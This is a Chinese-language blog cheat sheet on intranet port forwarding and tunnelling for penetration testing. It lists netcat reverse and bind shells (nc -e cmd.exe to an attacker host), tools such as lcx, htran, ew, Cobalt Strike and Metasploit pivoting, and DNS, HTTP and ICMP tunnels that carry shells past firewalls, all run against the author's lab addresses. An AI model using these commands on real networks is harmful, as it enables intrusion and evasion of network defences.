內網埠轉發小技巧

做一個白日夢想家發表於2020-11-30

埠轉發

NC

反向連線
  • kali開啟監聽

    nc -lnvp 7777

在這裡插入圖片描述

  • 目標返向連線

    nc -e cmd.exe 192.168.95.128 7777

在這裡插入圖片描述

  • 可以執行命令

在這裡插入圖片描述

正向連線
  • 目標開啟監聽

    nc -l -p 5555 -e cmd.exe

  • kali連線

    nc -nvv 192.168.95.12 5555

  • 執行命令

在這裡插入圖片描述

lcx

外網無法訪問內網,但內網可訪問外網
  • client:轉發自己的3389埠到遠端埠7777上

    lcx.exe -slave rhost rport(7777) lhost lport(3389)

在這裡插入圖片描述

  • attack: 轉發本地的7777埠到5555上

    portmap -m 2 -p1 7777 -p2 5555

    我的kali跑不了

  • 連線本地的5555埠:即可實現監聽目標的3389

    rdesktop 127.0.0.1:5555

轉發內網埠

lcx.exe -tran lport(7777) rhost(192.168.93.10) rport(3389)

rdesktop 192.168.0.106:7777

埠轉發 + 繞過防火牆

3389轉到53埠上,attack連線53埠
lcx.exe -tran lport lhost lport rdesktop rhost 53

netsh

windows自帶規則配置工具

  • 新增一條規則:將遠端的3389埠轉發到本地的7777埠上

    netsh interface portproxy add v4tov4 listenport=7777 connect=3389 connectaddress=192.168.93.10 protocol=tcp
    
  • 檢視轉發規則:netsh interface portproxy dump

  • 刪除轉發規則:netsh interface portproxy delete v4tov4 listenport=7777

htran

繞過防火牆
  • 方法1:htran.exe -p -tran lport lhost lport

  • 方法2:htran.exe -p -slave rhost rport lhost lport portmap -m 2 -p1 xxxx -p2 xxxx

轉發內網埠
  • 方法1:htran.exe -p -tran lport rhost rport

  • 方法2:

    將本地(win2012)的3389轉發到目標(win2008)的7777上

    htran.exe -p -slave rhost(192.168.93.20) rport(7777) lhost(127.0.0.1) lport(3389)

    在目標上(win2008)監聽本地7777埠,轉發到9999埠htran.exe -p -listen 7777 9999

    attack 連線(win2008)9999埠,相當於連線了win2012的3389:rdesktop 192.168.0.106:9999

socat

  • 轉發內網埠

    socket.exe TCP4-LISTEN:5555.reuseaddr.fork TCP4:192.168.93.10:3389

FPipe

  • 轉發內網埠
    FPipe.exe -l lport -r rport rhost -v

portfwd

msf自帶

  • 生成一個監聽
  • portfwd add -l 1389 -r 192.168.93.10 -p 3389
  • 檢視已建立的規則: portfwd list
  • 連線:rdesktop 192.168.0.108:1389 (此處是msf的地址)

cobalt strike

  • cs生成一個客戶端,將其拿到目標機器是上執行,拿到一個會話

  • 然後進入互動模式

    rportfwd 8888 rhost 3389

    rportfwd stop 8888

rinetd

linux自帶的一個檔案,位於/etc/rinetd

  • 當外部主機是linux時,可使用其進行轉發操作
    lhost lport rhost rport

ngrock

網路代理

socks代理

cobaltstrike
msf
  • 新增路由:run post/multi/manage/autoroute
  • 檢視路由:run autoroute -p
  • 新增socks代理:use auxiliary/server/socks4a
  • 使用代理鏈工具呼叫代理:proxychains rdesktop 192.168.93.10
ew
  • 正向代理
  • 用法B(08):ew_win32.exe -s ssocksd -l 1080
    • 流量走向:A <··> B:1080 <··> C
  • 反向代理
    • win08本地流量轉發:ew_win32.exe -s rssocks -l 1080 -e 8888
    • win12轉發自身流量到08的8888埠:ew_win32.exe -s rssocks -d 192.168.93.20 -e 8888
      • kali連線:proxychains rdesktop 192.168.93.10
    • 流量走向:A(kali) <··> B(08):1080 <··> B:8888 <··>C(12)
    • 埠轉發
Termite(白蟻)
  • 新增代理:socks 1080
  • 反彈一個shell:shell 7777

DNS代理

dnscat2
  • 服務端執行:ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.0.108" --no-cache
  • 客戶端連線:dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108
    • 操作
    • 檢視所有的會話:windows
      • 與指定會話互動:session -i
    • 得到一個shell:shell
      • 轉到主介面:ctrl+z
iodine

備選,遇linux主機可一試

  • 服務端執行:iodined -p 123456 -f -DD 192.168.0.108 abc.com
  • 客戶端:iodine -p 123456 -f -r -T TXT 192.168.0.108 abc.com

HTTP代理

ReDuh(不太好用)

java -jar reDuhClient.jar http://192.168.0.108/reduh.jsp

nc -w localhost 1010

[create Tunnel]1234:127.0.0.1:3389

Tunna
  • 把代理指令碼上傳到目標伺服器,然後通過代理內網的某個埠,將敏感埠流量轉發了外網的的某個埠,再通過本地連線外網的埠進行連線。
  1. 將代理指令碼上傳到目標伺服器,在瀏覽器訪問代理指令碼是否被解析
  2. python proxy.py -u http://192.168.0.108/conn.php -l 4444 -r 3389 -s -v --no-socks
  3. 本地執行:rdesktop 127.0.0.1:4444
reGeorg
  • Neo-reGeorg (支援客戶端的加密)

    • 設定密碼並生成隧道檔案:python neoreg py generate -k Scantime
  • 將隧道檔案放到目標伺服器的web目錄,連線web伺服器並建立本地socks代理:python neoreg.py -k scantime -u http://192.168.0.108/tunnel.php

    • Socks連線工具連線本地

ICMP代理

  • 執行前執行:sysctl -w net.ipv4.icmp_echo_ignore_all=1

  • 服務端:icmpsh_m.py lhost rhost

    • 客戶端:icmpsh.exe -t serverhost

相關文章